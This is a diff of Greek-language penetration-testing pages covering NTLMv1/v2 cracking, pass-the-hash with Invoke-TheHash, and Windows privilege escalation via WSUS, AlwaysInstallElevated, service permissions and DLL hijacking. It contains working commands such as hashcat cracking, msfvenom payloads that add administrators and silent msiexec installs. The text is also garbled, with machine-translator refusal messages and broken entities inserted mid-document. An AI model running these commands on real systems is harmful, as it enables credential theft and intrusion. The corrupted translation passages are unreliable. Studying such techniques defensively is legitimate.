Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **χωριστά** με κάθε μέρος και τα **αποτελέσματα** των κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes.
Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **ξεχωριστά** με κάθε μέρος και τα **αποτελέσματα** των κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes.
**Προβλήματα**:
@ -77,15 +77,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Απεριόριστη Αντιπροσώπευση, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη.
Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που έχετε ήδη στον AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να **σπάσετε** την αυθεντικοποίηση.\
Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στον AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να την **σπάσετε**.\
Αν χρησιμοποιείτε `responder` μπορείτε να προσπαθήσετε να \*\*χρησιμοποιήσετε τη σημαία `--lm` \*\* για να προσπαθήσετε να **υποβαθμίσετε** την **αυθεντικοποίηση**.\
&#xNAN;_&#x4E;ote ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (NTLMv2 δεν είναι έγκυρο)._
_Σημειώστε ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (NTLMv2 δεν είναι έγκυρο)._
Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακρούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς **δεν θα μπορείτε να σπάσετε** χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **NTLMv1** αυθεντικοποίηση **χρησιμοποιεί DES** ([more info here](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στο σπάσιμο του DES θα μπορείτε να το σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα).
Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακριά και τυχαία κωδικούς πρόσβασης** που πιθανώς δεν θα μπορείτε να σπάσετε χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **αυθεντικοποίηση NTLMv1** **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στην κρυπτογράφηση DES θα μπορείτε να την σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα).
### NTLMv1 attack with hashcat
Η NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με έναν τρόπο που μπορεί να σπάσει με το hashcat.
Το NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με μια μέθοδο που μπορεί να σπάσει με το hashcat.
Η εντολή
```bash
@ -126,7 +126,7 @@ A52B9CDEDAE86934:1122334455667788
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
Σε αυτή την περίπτωση γνωρίζουμε ότι ο κωδικός πρόσβασης είναι password, οπότε θα απατήσουμε για σκοπούς επίδειξης:
Σε αυτή την περίπτωση γνωρίζουμε ότι ο κωδικός πρόσβασης είναι password, οπότε θα κάνουμε cheat για σκοπούς επίδειξης:
```bash
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
@ -149,19 +149,19 @@ It seems that you haven't provided the text you want translated. Please share th
586c # this is the last part
```
I'm sorry, but I need the specific text you want me to translate in order to assist you. Please provide the content you would like translated to Greek.
I'm sorry, but I need the specific text you want to be translated in order to assist you. Please provide the content you'd like translated to Greek.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Challenge
Το **μήκος της πρόκλησης είναι 8 bytes** και **αποστέλλονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**.
Το **μήκος της πρόκλησης είναι 8 bytes** και **στέλνονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**.
**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας χρησιμοποιώντας **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφηθεί χρησιμοποιώντας **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B.
Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανεκτελέσεις**...)
Αν έχετε ένα **pcap που έχει καταγράψει μια επιτυχημένη διαδικασία αυθεντικοποίησης**, μπορείτε να ακολουθήσετε αυτόν τον οδηγό για να αποκτήσετε το domain, το username, την πρόκληση και την απάντηση και να προσπαθήσετε να σπάσετε τον κωδικό πρόσβασης: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
Αν έχετε ένα **pcap που έχει καταγράψει μια επιτυχημένη διαδικασία αυθεντικοποίησης**, μπορείτε να ακολουθήσετε αυτόν τον οδηγό για να αποκτήσετε το domain, το username, την πρόκληση και την απάντηση και να προσπαθήσετε να σπάσετε τον κωδικό: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
Αυτή η λειτουργία είναι ένα **μείγμα όλων των άλλων**. Μπορείτε να περάσετε **πολλούς hosts**, να **εξαιρέσετε** κάποιους και να **επιλέξετε** την **επιλογή** που θέλετε να χρησιμοποιήσετε (_SMBExec, WMIExec, SMBClient, SMBEnum_). Αν επιλέξετε **οποιοδήποτε** από **SMBExec** και **WMIExec** αλλά **δεν** δώσετε κανένα _**Command**_ παράμετρο, θα **ελέγξει** απλώς αν έχετε **αρκετές άδειες**.
Αυτή η λειτουργία είναι ένα **μείγμα όλων των άλλων**. Μπορείτε να περάσετε **πολλούς hosts**, να **εξαιρέσετε** κάποιους και να **επιλέξετε** την **επιλογή** που θέλετε να χρησιμοποιήσετε (_SMBExec, WMIExec, SMBClient, SMBEnum_). Εάν επιλέξετε **οποιοδήποτε** από **SMBExec** και **WMIExec** αλλά **δεν** δώσετε κανένα _**Command**_ παράμετρο, θα **ελέγξει** απλώς αν έχετε **αρκετές άδειες**.
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```

View File

@ -42,7 +42,7 @@ integrity-levels.md
### Καταμέτρηση πληροφοριών έκδοσης
Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμοσμένες ενημερώσεις).
Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις διορθώσεις που έχουν εφαρμοστεί).
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -71,7 +71,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
**Github repos των exploits:**
**Github repos εκμεταλλεύσεων:**
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα εκτενές ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων κατά τη διάρκεια της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία.
Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων τη στιγμή της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Τα γεγονότα καταγραφής για το Script Block μπορούν να εντοπιστούν μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Η καταγραφή γεγονότων για το Script Block μπορεί να εντοπιστεί μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Για να δείτε τα τελευταία 20 γεγονότα μπορείτε να χρησιμοποιήσετε:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
Μπορείτε να παραβιάσετε το σύστημα αν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας http**S** αλλά http.
Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη SSL ενημέρωση WSUS εκτελώντας το εξής:
Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη-SSL ενημέρωση WSUS εκτελώντας το εξής:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε, η καταχώρηση WSUS θα αγνοηθεί.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψεύτικες' ενημερώσεις σε μη SSL WSUS κυκλοφορία.
Διαβάστε την έρευνα εδώ:
@ -182,7 +182,7 @@ CTX_WSUSpect_White_Paper (1).pdf
> Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό χρήστη proxy μας, και οι Ενημερώσεις των Windows χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να εκτελέσουμε [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παγιδεύσουμε τη δική μας κυκλοφορία και να εκτελέσουμε κώδικα ως ανυψωμένος χρήστης στο περιουσιακό μας στοιχείο.
>
> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου trust-on-first-use στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία.
> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου εμπιστοσύνης κατά την πρώτη χρήση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία.
Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί).
@ -218,7 +218,7 @@ Write-UserAddMSI
### MSI Wrapper
Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**.
Διαβάστε αυτό το tutorial για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν **απλώς** θέλετε να **εκτελέσετε** **γραμμές εντολών**.
{{#ref}}
msi-wrapper.md
@ -251,25 +251,25 @@ create-msi-with-wix.md
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
Για να εκμεταλλευτείτε αυτήν την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_
## Antivirus και Ανιχνευτές
### Ρυθμίσεις Ελέγχου
Αυτές οι ρυθμίσεις αποφασίζουν τι **καταγράφεται**, οπότε θα πρέπει να δώσετε προσοχή
Αυτές οι ρυθμίσεις αποφασίζουν τι καταγράφεται, οπότε θα πρέπει να δώσετε προσοχή
```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
### WEF
Η προώθηση συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής.
Το Windows Event Forwarding είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα logs.
```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```
### LAPS
**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι.
**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι.
{{#ref}}
../active-directory-methodology/laps.md
@ -277,7 +277,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
Αν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\
Εάν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\
[**Περισσότερες πληροφορίες σχετικά με το WDigest σε αυτή τη σελίδα**](../stealing-credentials/credentials-protections.md#wdigest).
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
@ -306,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Καταμέτρηση Χρηστών & Ομάδων
Πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
```bash
# CMD
net users %username% #Me
@ -332,7 +332,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### Χειρισμός διακριτικών
**Μάθε περισσότερα** για το τι είναι ένα **διακριτικό** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
Έλεγξε την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς:
Δες την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς:
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -356,12 +356,12 @@ net accounts
```bash
powershell -command "Get-Clipboard"
```
## Εκτέλεση Διαδικασιών
## Εκτελούμενες Διαδικασίες
### Άδειες Αρχείων και Φακέλων
Πρώτα απ' όλα, καταγράψτε τις διαδικασίες **ελέγξτε για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διαδικασίας**.\
Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο εκτελέσιμων για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html):
Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο του εκτελέσιμου για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -372,9 +372,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κλιμακώσετε τα δικαιώματα](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κερδίσετε δικαιώματα](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διεργασιών**
**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διαδικασιών**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@ -399,9 +399,9 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
```
### Insecure GUI apps
**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε καταλόγους.**
**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.**
Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt"
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
## Services
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Αν έχετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV):
_Σφάλμα συστήματος 1058 έχει συμβεί._\
&#xNAN;_&#x54;η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._
_Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._
Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας
```bash
@ -470,7 +470,7 @@ net stop [service name] && net start [service name]
- **WRITE_DAC**: Ενεργοποιεί την επαναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση αδειών.
- **GENERIC_WRITE**: Κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
- **GENERIC_ALL**: Κληρονομεί επίσης την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
- **GENERIC_ALL**: Επίσης κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_.
@ -492,7 +492,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
### Υπηρεσίες μητρώου τροποποίηση δικαιωμάτων
Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσίας.\
Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας σε ένα **μητρώο** υπηρεσίας κάνοντας:
Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας πάνω σε ένα **μητρώο** υπηρεσίας κάνοντας:
```bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
@ -551,13 +551,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
```
### Recovery Actions
Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, μπορεί να είναι δυνατή η κλιμάκωση δικαιωμάτων. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, η εκμετάλλευση δικαιωμάτων μπορεί να είναι δυνατή. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
## Applications
### Installed Applications
Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να κλιμακώσετε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)).
Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να εκμεταλλευτείτε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -596,7 +596,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### Εκτέλεση κατά την εκκίνηση
**Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο μητρώο ή δυαδικό αρχείο που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.**\
**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα σχετικά με ενδιαφέροντα **σημεία autoruns για την κλιμάκωση δικαιωμάτων**:
**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα σχετικά με ενδιαφέροντα **σημεία εκκίνησης για την κλιμάκωση δικαιωμάτων**:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@ -612,7 +612,7 @@ driverquery /SI
```
## PATH DLL Hijacking
Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και να **κλιμακώσετε τα δικαιώματα**.
Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και **να κλιμακώσετε τα δικαιώματα**.
Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH:
```bash
@ -664,9 +664,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
```
### Κανόνες Τείχους Προστασίας
